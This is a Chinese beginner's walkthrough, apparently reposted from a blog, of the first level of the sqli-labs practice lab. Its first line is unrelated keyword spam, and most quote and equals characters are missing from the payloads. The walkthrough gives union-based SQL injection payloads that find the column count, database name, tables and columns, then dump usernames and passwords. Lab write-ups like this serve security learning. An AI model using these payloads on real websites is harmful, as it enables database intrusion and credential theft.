品牌网站建设公司推荐,网页制作教程答案,俄罗斯乌克兰克里米亚,资源网站哪个好今天开始搞这个靶场#xff0c;从小白开始一点点学习,加油#xff01;#xff01;#xff01;#xff01;
1.搭建靶场
注意点#xff1a;1.php的版本问题#xff0c;要用老版本 2.小p要先改数据库的密码#xff0c;否则一直显示链接不上数据库
2.第一道题#xff0…今天开始搞这个靶场从小白开始一点点学习,加油
1.搭建靶场
注意点1.php的版本问题要用老版本 2.小p要先改数据库的密码否则一直显示链接不上数据库
2.第一道题从0开始 更着大佬学习怎么搞
1.判断是否存在sql注入漏洞
在开始之前我们要先知道如何判断是否存在sql注入漏洞
最为经典的单引号判断法在参数后面加上单引号,比如: 1 如果页面返回错误则存在 Sql 注入。原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
(如果未报错不代表不存在 Sql 注入因为有可能页面对单引号做了过滤这时可以使用判断语句进行注入) 有报错说明有sql注入点 2.判断sql注入漏洞的类型
通常sql注入漏洞的类型有两种
1.数字型
2.字符型
其实所有的类型都是根据数据库本身表的类型所产生的在我们创建表的时候会发现其后总有个数据类型的限制而不同的数据库又有不同的数据类型但是无论怎么分常用的查询数据类型总是以数字与字符来区分的所以就会产生注入点为何种类型。
1.数字型判断
当输入的参 x 为整型时通常 abc.php 中 Sql 语句类型大致如下select * from 表名 where id x这种类型可以使用经典的 and 11 和 and 12 可以通过加减乘除等运算来判断输入参数周围有没有引号来包围来判断
Url 地址中输入x and 11 页面依旧运行正常继续进行下一步。Url 地址中继续输入x and 12 页面运行错误则说明此 Sql 注入为数字型注入。
原因如下当输入 and 11时后台执行 Sql 语句select * from 表名 where id x and 11 没有语法错误且逻辑判断为正确所以返回正常。当输入 and 12时后台执行 Sql 语句select * from 表名 where id x and 12 没有语法错误但是逻辑判断为假所以返回错误。 2.字符型判断
当输入的参 x 为字符型时通常 abc.php 中 SQL 语句类型大致如下select * from 表名 where id x这种类型我们同样可以使用 and ‘1’1 和 and ‘1’2来判断
Url 地址中输入 x and 11 页面运行正常继续进行下一步。Url 地址中继续输入 x and 12 页面运行错误则说明此 Sql 注入为字符型注入。
原因如下当输入 and ‘1’1时后台执行 Sql 语句select * from 表名 where id x and 11语法正确逻辑判断正确所以返回正确。当输入 and ‘1’2时后台执行 Sql 语句select * from 表名 where id x and 12语法正确但逻辑判断错误所以返回正确。
实践一下
数字型判断 /?id1 and 11 回显正常 /?id1 and 12 回显正常
字符型判断 /?id1 and 11 ?id1 and 11 --回显正常 /?id1 and 12 /?id1 and 12 -- 发现没有回显有错误说明是字符型注入漏洞
现在进行联合注入先来判断它的字段数 ?id1 order by 1 --
?id1 order by 2 --
?id1 order by 3 --
?id1 order by 4 -- 这个 --主要是注释掉之后的语句 但是当判断到4的时候页面报错说明它里面的字段数只有3位
字段数:在 SQL 查询中字段数Field count通常指的是查询所涉及的列的数量。它代表查询结果中返回的列的个数。字段数是 SQL 查询的一个重要概念它决定了查询结果中会返回多少列数据也影响了数据库查询的结构、执行计划和性能。 开始爆出显示位就是看看表格里面那一列是在页面显示的 ?id100 union select 1,2,3 -- 注意这里为什么要将1改为100是为了成功执行我们的联合查询中的显错位这里的id不存在100位这么多就会将后面的联合查询中的123显示出来。
也可以将100改为-1都是为了后面的123显示出来
可以看到是第二列和第三列里面的数据是显示在页面的
我们可以控制23出现的位置那么开始判断库名
获取当前数据名和版本号这个就涉及mysql数据库的一些函数记得就行。通过结果知道当前数据看是security,版本是5.7.26 ?id-1union select 1,database(),version() -- 得到库名为security下来判断表名
爆表information_schema.tables表示该数据库下的tables表点表示下一级。where后面是条件group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容
/?id-1 union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 1,1 --
/?id-1 union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 2,1 --
/?id-1 union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 3,1 --
/?id-1 union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 4,1 -- 查询出表名有emailsreferersuagentsusers 四个
可以用内置函数group_concat() 将表名一次性输出 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --1, group_concat(table_name), 3: 1: 这是第一列的值通常是一个常量表示查询结果的占位符。 group_concat(table_name): 这部分非常关键。GROUP_CONCAT() 是 MySQL 中的一个聚合函数用来将多个结果行的内容拼接成一个字符串。在这个查询group_concat(table_name) 会将 information_schema.tables 中所有表名table_name拼接成一个由逗号分隔的长字符串 3: 这是查询的第三列类似于第一个列它只是占位符不会影响结果。 也是一共四个表
开始爆users的列名 ?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers -- 发现有idusernamepassword三列
从username和password两列里爆出数据 ?id-1 union select 1,group_concat(username),group_concat(password) from users -- 得到数据结束。。。
原文链接:sqli-labs靶场第一关-Less-1: - 张伟文 - 博客园